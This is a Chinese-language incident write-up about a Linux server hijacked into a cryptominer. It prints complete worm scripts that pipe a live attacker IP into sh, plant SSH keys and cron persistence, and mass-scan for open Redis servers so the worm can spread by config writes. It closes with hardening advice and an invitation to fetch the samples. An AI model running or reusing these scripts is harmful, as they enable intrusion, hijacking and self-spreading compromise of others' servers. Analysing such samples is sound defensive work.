記一次Linux被入侵，服務器變“礦機”全過程

周一早上剛到辦公室，就聽到同事說有一台服務器登陸不上了，我也沒放在心上，繼續邊吃早點，邊看幣價是不是又跌了。

 

不一會運維的同事也到了，氣喘吁吁的說：我們有台服務器被阿里雲凍結了，理由：對外惡意發包。

 

我放下酸菜餡的包子，SSH 連了一下，被拒絕了，問了下默認的 22 端口被封了。

 

讓運維的同事把端口改了一下，立馬連上去，順便看了一下登錄名 ：root，還有不足 8 位的小白密碼，心里一涼：被黑了！

 

查找線索

 

服務器系統 CentOS 6.X，部署了 Nginx，Tomcat，Redis 等應用，上來先把數據庫全備份到本地，然后 Top 命令看了一下，有 2 個 99% 的同名進程還在運行，叫 gpg-agentd。

Google 了一下 GPG，結果是：GPG 提供的 gpg-agent 提供了對 SSH 協議的支持，這個功能可以大大簡化密鑰的管理工作。

 

看起來像是一個很正經的程序嘛，但仔細再看看服務器上的進程后面還跟着一個字母 d，偽裝的很好，讓人想起來 Windows 上各種看起來像 svchost.exe 的病毒。

 

繼續排查：

ps eho command -p 23374netstat -pan | grep 23374

 

查看 pid：23374 進程啟動路徑和網絡狀況，也就是來到了圖 1 的目錄，到此已經找到了黑客留下的二進制可執行文件。

 

接下來還有 2 個問題在等着我：

• 文件是怎么上傳的？

• 這個文件的目的是什么，或是黑客想干嘛？

 

History 看一下，記錄果然都被清掉了，沒留下任何痕跡。繼續命令 more messages：

看到了在半夜 12 點左右，在服務器上裝了很多軟件，其中有幾個軟件引起了我的注意，下面詳細講。

 

邊找邊猜，如果我們要做壞事，大概會在哪里做文章，自動啟動？定時啟動？對，計划任務：

crontab -e

 

果然，線索找到了。

 

作案動機

 

上面的計划任務的意思就是每 15 分鍾去服務器上下載一個腳本，並且執行這個腳本。

 

我們把腳本下載下來看一下：

curl -fsSL 159.89.190.243/ash.php > ash.sh

 

腳本內容如下：

uname -a
id
hostname
setenforce 0 2>/dev/null
ulimit -n 50000
ulimit -u 50000
crontab -r 2>/dev/null
rm -rf /var/spool/cron/* 2>/dev/null
mkdir -p /var/spool/cron/crontabs 2>/dev/null
mkdir -p /root/.ssh 2>/dev/null
echo 'ssh-rsa

AAAAB3NzaC1yc2EAAAADAQABAAABAQDfB19N9slQ6uMNY8dVZmTQAQhrdhlMsXVJeUD4AIH2tbg6Xk5PmwOpTeO5FhWRO11dh3inlvxxX5RRa/oKCWk0NNKmMza8YGLBiJsq/zsZYv6H6Haf51FCbTXf6lKt9g4LGoZkpNdhLIwPwDpB/B7nZqQYdTmbpEoCn6oHFYeimMEOqtQPo/szA9pX0RlOHgq7Duuu1ZjR68fTHpgc2qBSG37Sg2aTUR4CRzD4Li5fFXauvKplIim02pEY2zKCLtiYteHc0wph/xBj8wGKpHFP0xMbSNdZ/cmLMZ5S14XFSVSjCzIa0+xigBIrdgo2p5nBtrpYZ2/GN3+ThY+PNUqx
 redisX' > /root/.ssh/authorized_keys
echo '*/15 * * * * curl -fsSL 159.89.190.243/ash.php|sh' > /var/spool/cron/root
echo '*/20 * * * * curl -fsSL 159.89.190.243/ash.php|sh' > /var/spool/cron/crontabs/root

yum install -y bash 2>/dev/null
apt install -y bash 2>/dev/null
apt-get install -y bash 2>/dev/null

bash -c 'curl -fsSL 159.89.190.243/bsh.php|bash' 2>/dev/null

 

大致分析一下該腳本的主要用途：首先是關閉 SELinux，解除 Shell 資源訪問限制，然后在 /root/.ssh/authorized_keys 文件中生成 SSH 公鑰。

 

這樣每次黑客登錄這台服務器就可以免密碼登錄了，執行腳本就會方便很多。

 

接下來安裝 Bash，最后是繼續下載第二個腳本 bsh.php，並且執行。繼續下載並分析 bsh.pbp，內容如下：

sleep $( seq 3 7 | sort -R | head -n1 )
cd /tmp || cd /var/tmp
sleep 1
mkdir -p .ICE-unix/... && chmod -R 777 .ICE-unix && cd .ICE-unix/...
sleep 1
if [ -f .watch ]; then
rm -rf .watch
exit 0
fi
sleep 1
echo 1 > .watch
sleep 1
ps x | awk '!/awk/ && /redisscan|ebscan|redis-cli/ {print $1}' | xargs kill -9 2>/dev/null
ps x | awk '!/awk/ && /barad_agent|masscan|\.sr0|clay|udevs|\.sshd|xig/ {print $1}' | xargs kill -9 2>/dev/null
sleep 1
if ! [ -x /usr/bin/gpg-agentd ]; then
curl -s -o /usr/bin/gpg-agentd 159.89.190.243/dump.db
echo '/usr/bin/gpg-agentd' > /etc/rc.local
echo 'curl -fsSL 159.89.190.243/ash.php|sh' >> /etc/rc.local
echo 'exit 0' >> /etc/rc.local
fi
sleep 1
chmod +x /usr/bin/gpg-agentd && /usr/bin/gpg-agentd || rm -rf /usr/bin/gpg-agentd
sleep 1
if ! [ -x "$(command -v masscan)" ]; then
rm -rf /var/lib/apt/lists/*
rm -rf x1.tar.gz
if [ -x "$(command -v apt-get)" ]; then
export DEBIAN_FRONTEND=noninteractive
apt-get update -y
apt-get install -y debconf-doc
apt-get install -y build-essential
apt-get install -y libpcap0.8-dev libpcap0.8
apt-get install -y libpcap*
apt-get install -y make gcc git
apt-get install -y redis-server
apt-get install -y redis-tools
apt-get install -y redis
apt-get install -y iptables
apt-get install -y wget curl
fi
if [ -x "$(command -v yum)" ]; then
yum update -y
yum install -y epel-release
yum update -y
yum install -y git iptables make gcc redis libpcap libpcap-devel
yum install -y wget curl
fi
sleep 1
curl -sL -o x1.tar.gz https://github.com/robertdavidgraham/masscan/archive/1.0.4.tar.gz
sleep 1
[ -f x1.tar.gz ] && tar zxf x1.tar.gz && cd masscan-1.0.4 && make && make install && cd .. && rm -rf masscan-1.0.4
fi
sleep 3 && rm -rf .watch
bash -c 'curl -fsSL 159.89.190.243/rsh.php|bash' 2>/dev/null

 

 

這段腳本的代碼比較長，但主要的功能有 4 個：

• 下載遠程代碼到本地，添加執行權限，chmod u+x。

• 修改 rc.local，讓本地代碼開機自動執行。

• 下載 Github 上的開源掃描器代碼，並安裝相關的依賴軟件，也就是我上面的 Messages 里看到的記錄。

• 下載第三個腳本，並且執行。

 

我去 Github 上看了下這個開源代碼，簡直吊炸天：

Transmitting 10 Million Packets Per Second(每秒發送 1000 萬個數據包)，比 nmap 速度還要快，這就不難理解為什么阿里雲把服務器凍結了。

 

大概看了下 Readme 之后，我也沒有細究，繼續下載第三個腳本：

setenforce 0 2>/dev/null
ulimit -n 50000
ulimit -u 50000
sleep 1
iptables -I INPUT 1 -p tcp --dport 6379 -j DROP 2>/dev/null
iptables -I INPUT 1 -p tcp --dport 6379 -s 127.0.0.1 -j ACCEPT 2>/dev/null
sleep 1
rm -rf .dat .shard .ranges .lan 2>/dev/null
sleep 1
echo 'config set dbfilename "backup.db"' > .dat
echo 'save' >> .dat
echo 'flushall' >> .dat
echo 'set backup1 "\n\n\n*/2 * * * * curl -fsSL http://159.89.190.243/ash.php | sh\n\n"' >> .dat
echo 'set backup2 "\n\n\n*/3 * * * * wget -q -O- http://159.89.190.243/ash.php | sh\n\n"' >> .dat
echo 'set backup3 "\n\n\n*/4 * * * * curl -fsSL http://159.89.190.243/ash.php | sh\n\n"' >> .dat
echo 'set backup4 "\n\n\n*/5 * * * * wget -q -O- http://159.89.190.243/ash.php | sh\n\n"' >> .dat
echo 'config set dir "/var/spool/cron/"' >> .dat
echo 'config set dbfilename "root"' >> .dat
echo 'save' >> .dat
echo 'config set dir "/var/spool/cron/crontabs"' >> .dat
echo 'save' >> .dat
sleep 1
masscan --max-rate 10000 -p6379,6380 --shard $( seq 1 22000 | sort -R | head -n1 )/22000 --exclude 255.255.255.255 0.0.0.0/0 2>/dev/null | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .shard
sleep 1
while read -r h p; do
cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &
done < .shard
sleep 1
masscan --max-rate 10000 -p6379,6380 192.168.0.0/16 172.16.0.0/16 116.62.0.0/16 116.232.0.0/16 116.128.0.0/16 116.163.0.0/16 2>/dev/null | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .ranges
sleep 1
while read -r h p; do
cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &
done < .ranges
sleep 1
ip a | grep -oE '([0-9]{1,3}.?){4}/[0-9]{2}' 2>/dev/null | sed 's/\/\([0-9]\{2\}\)/\/16/g' > .inet
sleep 1
masscan --max-rate 10000 -p6379,6380 -iL .inet | awk '{print $6, substr($4, 1, length($4)-4)}' | sort | uniq > .lan
sleep 1
while read -r h p; do
cat .dat | redis-cli -h $h -p $p --raw 2>/dev/null 1>/dev/null &
done < .lan
sleep 60
rm -rf .dat .shard .ranges .lan 2>/dev/null

 

如果說前兩個腳本只是在服務器上下載執行了二進制文件，那這個腳本才真正顯示病毒的威力。下面就來分析這個腳本。

 

一開始的修改系統環境沒什么好說的，接下來的寫文件操作有點眼熟，如果用過 Redis 的人，應該能猜到，這里是對 Redis 進行配置。

 

寫這個配置，自然也就是利用了 Redis 把緩存內容寫入本地文件的漏洞，結果就是用本地的私鑰去登陸被寫入公鑰的服務器了，無需密碼就可以登陸，也就是我們文章最開始的 /root/.ssh/authorized_keys。

 

登錄之后就開始定期執行計划任務，下載腳本。好了，配置文件准備好了，就開始利用 Masscan 進行全網掃描 Redis 服務器，尋找肉雞。

 

注意看這 6379 就是 Redis 服務器的默認端口，如果你的 Redis 的監聽端口是公網 IP 或是 0.0.0.0，並且沒有密碼保護，不好意思，你就中招了。

 

總結

 

通過依次分析這 3 個腳本，就能看出這個病毒的可怕之處，先是通過寫入 ssh public key 拿到登錄權限，然后下載執行遠程二進制文件，最后再通過 Redis 漏洞復制，迅速在全網傳播，以指數級速度增長。

 

那么問題是，這台服務器是怎么中招的呢？看了下 redis.conf，Bind 的地址是 127.0.0.1，沒啥問題。

 

由此可以推斷，應該是 Root 帳號被暴力破解了，為了驗證我的想法，我 Lastb 看了一下，果然有大量的記錄：

還剩最后一個問題，這個 gpg-agentd 程序到底是干什么的呢？我當時的第一個反應就是礦機，因為現在數字貨幣太火了，加大了分布式礦機的需求，也就催生了這條灰色產業鏈。

 

於是，順手把這個 gpg-agentd 拖到 Ida 中，用 String 搜索 bitcoin，eth，mine 等相關單詞，最終發現了這個：

打開 nicehash.com 看一下，一切都清晰了：

安全建議

 

服務器：

• 禁用 ROOT

• 用戶名和密碼盡量復雜

• 修改 SSH 的默認 22 端口

• 安裝 DenyHosts 防暴力破解軟件

• 禁用密碼登錄，使用 RSA 公鑰登錄

 

Redis：

• 禁用公網 IP 監聽，包括 0.0.0.0

• 使用密碼限制訪問 Redis

• 使用較低權限帳號運行 Redis

 

到此，整個入侵過程基本分析完了，如果大家對樣本有興趣，也可以自行去 Curl，或是去虛擬機執行上面的腳本。鑒於本人能力有限，文中難免會出現疏忽或是錯誤，還請大家多多指正。